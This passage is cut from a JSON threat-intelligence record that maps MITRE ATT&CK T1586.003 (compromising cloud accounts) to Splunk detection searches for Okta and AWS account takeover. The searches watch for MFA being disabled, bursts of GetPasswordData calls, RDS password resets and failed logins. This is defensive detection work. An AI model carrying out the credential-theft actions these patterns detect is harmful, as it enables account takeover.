"x_mitre_permissions_required": [], - "x_mitre_is_subtechnique": true, - "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).", - "x_mitre_defense_bypassed": [], - "x_mitre_system_requirements": [], - "x_mitre_attack_spec_version": "2.1.0", - "revoked": false, - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "mitre-attack", - "url": "https://attack.mitre.org/techniques/T1586/003", - "external_id": "T1586.003", - "description": "" - }, - { - "source_name": "Awake Security C2 Cloud", - "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/", - "external_id": "", - "description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022." - }, - { - "source_name": "MSTIC Nobelium Oct 2021", - "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/", - "external_id": "", - "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022." - } - ], - "x_mitre_detectable_by_common_defenses": "", - "x_mitre_detectable_by_common_defenses_explanation": "", - "x_mitre_difficulty_for_adversary": "", - "x_mitre_difficulty_for_adversary_explanation": "", - "x_mitre_old_attack_id": "", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_platforms": [ - "PRE" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_tactic_type": [], - "x_mitre_version": "1.0", - "description": "Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "resource-development" - } - ], - "command_list": [], - "commands": [], - "queries": [], - "parsed_datasets": [], - "possible_detections": [ - { - "name": "Okta Authentication Failed During MFA Challenge", - "description": "The following analytic identifies failed authentication attempts during the Multi-Factor Authentication (MFA) challenge in an Okta tenant. It uses the Authentication datamodel to detect specific failed events where the authentication signature is `user.authentication.auth_via_mfa`. This activity is significant as it may indicate an adversary attempting to authenticate with compromised credentials on an account with MFA enabled. If confirmed malicious, this could suggest an ongoing attempt to bypass MFA protections, potentially leading to unauthorized access and further compromise of the affected account.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Authentication.app) as app values(Authentication.reason) as reason values(Authentication.signature) as signature values(Authentication.method) as method from datamodel=Authentication where Authentication.signature=user.authentication.auth_via_mfa Authentication.action = failure by _time Authentication.src Authentication.user Authentication.dest Authentication.action | `drop_dm_object_name(\"Authentication\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| iplocation src | `okta_authentication_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A user [$user$] has failed to authenticate via MFA from IP Address - [$src$]\"", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Okta Successful Single Factor Authentication", - "description": "The following analytic identifies successful single-factor authentication events against the Okta Dashboard for accounts without Multi-Factor Authentication (MFA) enabled. It detects this activity by analyzing Okta logs for successful authentication events where \"Okta Verify\" is not used. This behavior is significant as it may indicate a misconfiguration, policy violation, or potential account takeover. If confirmed malicious, an attacker could gain unauthorized access to the account, potentially leading to data breaches or further exploitation within the environment.", - "search": "`okta` action=success src_user_type = User eventType = user.authentication.verify OR eventType = user.authentication.auth_via_mfa| stats dc(eventType) values(eventType) as eventType values(target{}.displayName) as targets values(debugContext.debugData.url) min(_time) as firstTime max(_time) as lastTime values(authentication_method) by src_ip user action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | search targets !=\"Okta Verify\" | `okta_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A user [$user$] has successfully logged in to Okta Dashboard with single factor authentication from IP Address - [$src_ip$].", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Okta User Logins from Multiple Cities", - "description": "The following analytic identifies instances where the same Okta user logs in from different cities within a 24-hour period. This detection leverages Okta Identity Management logs, analyzing login events and their geographic locations. Such behavior is significant as it may indicate a compromised account, with an attacker attempting unauthorized access from multiple locations. If confirmed malicious, this activity could lead to account takeovers and data breaches, allowing attackers to access sensitive information and potentially escalate their privileges within the environment.", - "search": "| tstats `security_content_summariesonly` values(Authentication.app) as app values(Authentication.action) as action values(Authentication.user) as user values(Authentication.reason) as reason values(Authentication.dest) as dest values(Authentication.signature) as signature values(Authentication.method) as method from datamodel=Authentication where Authentication.signature=user.session.start by _time Authentication.src | `drop_dm_object_name(\"Authentication\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | iplocation src | stats count min(_time) as firstTime max(_time) as lastTime dc(src) as distinct_src dc(City) as distinct_city values(src) as src values(City) as City values(Country) as Country values(action) as action by user | where distinct_city > 1 | `okta_user_logins_from_multiple_cities_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A user [$user$] has logged in from multiple cities [$City$] from IP Address - [$src$]. Investigate further to determine if this was authorized.", - "risk_score": 81, - "security_domain": "identity", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "ASL AWS Multi-Factor Authentication Disabled", - "description": "The following analytic detects attempts to disable multi-factor authentication (MFA) for an AWS IAM user. It leverages Amazon Security Lake logs, specifically monitoring for `DeleteVirtualMFADevice` or `DeactivateMFADevice` API operations. This activity is significant as disabling MFA can indicate an adversary attempting to weaken account security to maintain persistence using a compromised account. If confirmed malicious, this action could allow attackers to retain access to the AWS environment without detection, potentially leading to unauthorized access to sensitive resources and prolonged compromise.", - "search": "`amazon_security_lake` (api.operation=DeleteVirtualMFADevice OR api.operation=DeactivateMFADevice) | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.uid as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has disabled Multi-Factor authentication for AWS account $aws_account_id$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS Console Login Failed During MFA Challenge", - "description": "The following analytic identifies failed authentication attempts to the AWS Console during the Multi-Factor Authentication (MFA) challenge. It leverages AWS CloudTrail logs, specifically the `additionalEventData` field, to detect when MFA was used but the login attempt still failed. This activity is significant as it may indicate an adversary attempting to access an account with compromised credentials but being thwarted by MFA. If confirmed malicious, this could suggest an ongoing attempt to breach the account, potentially leading to unauthorized access and further attacks if MFA is bypassed.", - "search": "`cloudtrail` eventName= ConsoleLogin errorMessage=\"Failed authentication\" additionalEventData.MFAUsed = \"Yes\" | stats count min(_time) as firstTime max(_time) as lastTime by src eventName eventSource aws_account_id errorCode errorMessage userAgent eventID awsRegion user_name userIdentity.arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `aws_console_login_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_name$ failed to pass MFA challenge while logging into console from $src$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS Credential Access Failed Login", - "description": "The following analytic identifies unsuccessful login attempts to the AWS Management Console using a specific user identity. It leverages AWS CloudTrail logs to detect failed authentication events associated with the AWS ConsoleLogin action. This activity is significant for a SOC because repeated failed login attempts may indicate a brute force attack or unauthorized access attempts. If confirmed malicious, an attacker could potentially gain access to AWS account services and resources, leading to data breaches, resource manipulation, or further exploitation within the AWS environment.", - "search": "| tstats count earliest(_time) as firstTime, latest(_time) as lastTime from datamodel=Authentication where Authentication.action = failure Authentication.app=AwsConsoleSignIn Authentication.signature=ConsoleLogin BY Authentication.app Authentication.signature Authentication.dest Authentication.user Authentication.action Authentication.user_id Authentication.src | `drop_dm_object_name(Authentication)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `aws_credential_access_failed_login_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has a login failure from IP $src$", - "risk_score": 49, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "AWS Credential Access GetPasswordData", - "description": "The following analytic identifies more than 10 GetPasswordData API calls within a 5-minute window in your AWS account. It leverages AWS CloudTrail logs to detect this activity by counting the distinct instance IDs accessed. This behavior is significant as it may indicate an attempt to retrieve encrypted administrator passwords for running Windows instances, which is a critical security concern. If confirmed malicious, attackers could gain unauthorized access to administrative credentials, potentially leading to full control over the affected instances and further compromise of the AWS environment.", - "search": "`cloudtrail` eventName=GetPasswordData eventSource = ec2.amazonaws.com | bin _time span=5m | stats count values(errorCode) as errorCode dc(requestParameters.instanceId) as distinct_instance_ids values(requestParameters.instanceId) as instance_ids by aws_account_id src_ip user_arn userAgent eventName _time | where distinct_instance_ids > 10 | `aws_credential_access_getpassworddata_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ is seen to make mulitple `GetPasswordData` API calls to instance ids $instance_ids$ from IP $src_ip$", - "risk_score": 49, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "AWS Credential Access RDS Password reset", - "description": "The following analytic detects the resetting of the master user password for an Amazon RDS DB instance. It leverages AWS CloudTrail logs to identify events where the `ModifyDBInstance` API call includes a new `masterUserPassword` parameter. This activity is significant because unauthorized password resets can grant attackers access to sensitive data stored in production databases, such as credit card information, PII, and healthcare data. If confirmed malicious, this could lead to data breaches, regulatory non-compliance, and significant reputational damage. Immediate investigation is required to determine the legitimacy of the password reset.", - "search": "`cloudtrail` eventSource=\"rds.amazonaws.com\" eventName=ModifyDBInstance \"requestParameters.masterUserPassword\"=* | stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.dBInstanceIdentifier) as database_id by src awsRegion eventName userAgent user_arn| `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `aws_credential_access_rds_password_reset_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "database_id", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "$database_id$ password has been reset from IP $src$", - "risk_score": 49, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "AWS Multi-Factor Authentication Disabled", - "description": "The following analytic detects attempts to disable multi-factor authentication (MFA) for an AWS IAM user. It leverages AWS CloudTrail logs to identify events where MFA devices are deleted or deactivated. This activity is significant because disabling MFA can indicate an adversary attempting to weaken account security, potentially to maintain persistence using a compromised account. If confirmed malicious, this action could allow attackers to retain access to the AWS environment without detection, posing a significant risk to the security and integrity of the cloud infrastructure.", - "search": "`cloudtrail` (eventName= DeleteVirtualMFADevice OR eventName=DeactivateMFADevice) | stats count min(_time) as firstTime max(_time) as lastTime by src eventName eventSource aws_account_id userAgent eventID awsRegion user_name userIdentity.arn status | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "aws_account_id", - "type": "Other", - "role": [ - "Victim" - ] - }, - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_name$ has disabled Multi-Factor authentication for AWS account $aws_account_id$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS Multiple Failed MFA Requests For User", - "description": "The following analytic identifies multiple failed multi-factor authentication (MFA) requests to an AWS Console for a single user. It leverages AWS CloudTrail logs, specifically the `additionalEventData` field, to detect more than 10 failed MFA prompts within 5 minutes. This activity is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication requests. If confirmed malicious, this could lead to unauthorized access to the AWS environment, potentially compromising sensitive data and resources.", - "search": "`cloudtrail` eventName= ConsoleLogin \"additionalEventData.MFAUsed\"=Yes errorMessage=\"Failed authentication\" | bucket span=5m _time | stats dc(_raw) as mfa_prompts values(userAgent) as userAgent values(src) as src by _time user_name user_arn aws_account_id eventName errorMessage | where mfa_prompts > 10| `aws_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_name$ is seen to have high number of MFA prompt failures within a short period of time.", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS Successful Single-Factor Authentication", - "description": "The following analytic identifies a successful Console Login authentication event for an AWS IAM user account without Multi-Factor Authentication (MFA) enabled. It leverages AWS CloudTrail logs to detect instances where MFA was not used during login. This activity is significant as it may indicate a misconfiguration, policy violation, or potential account takeover attempt. If confirmed malicious, an attacker could gain unauthorized access to the AWS environment, potentially leading to data exfiltration, resource manipulation, or further privilege escalation.", - "search": "`cloudtrail` eventName= ConsoleLogin errorCode=success \"additionalEventData.MFAUsed\"=No | stats count min(_time) as firstTime max(_time) as lastTime by src eventName eventSource aws_account_id errorCode additionalEventData.MFAUsed userAgent eventID awsRegion user_name userIdentity.arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_name$ has successfully logged into an AWS Console without Multi-Factor Authentication from $src$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "AWS Unusual Number of Failed Authentications From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate into the AWS Console with multiple valid users. It uses CloudTrail 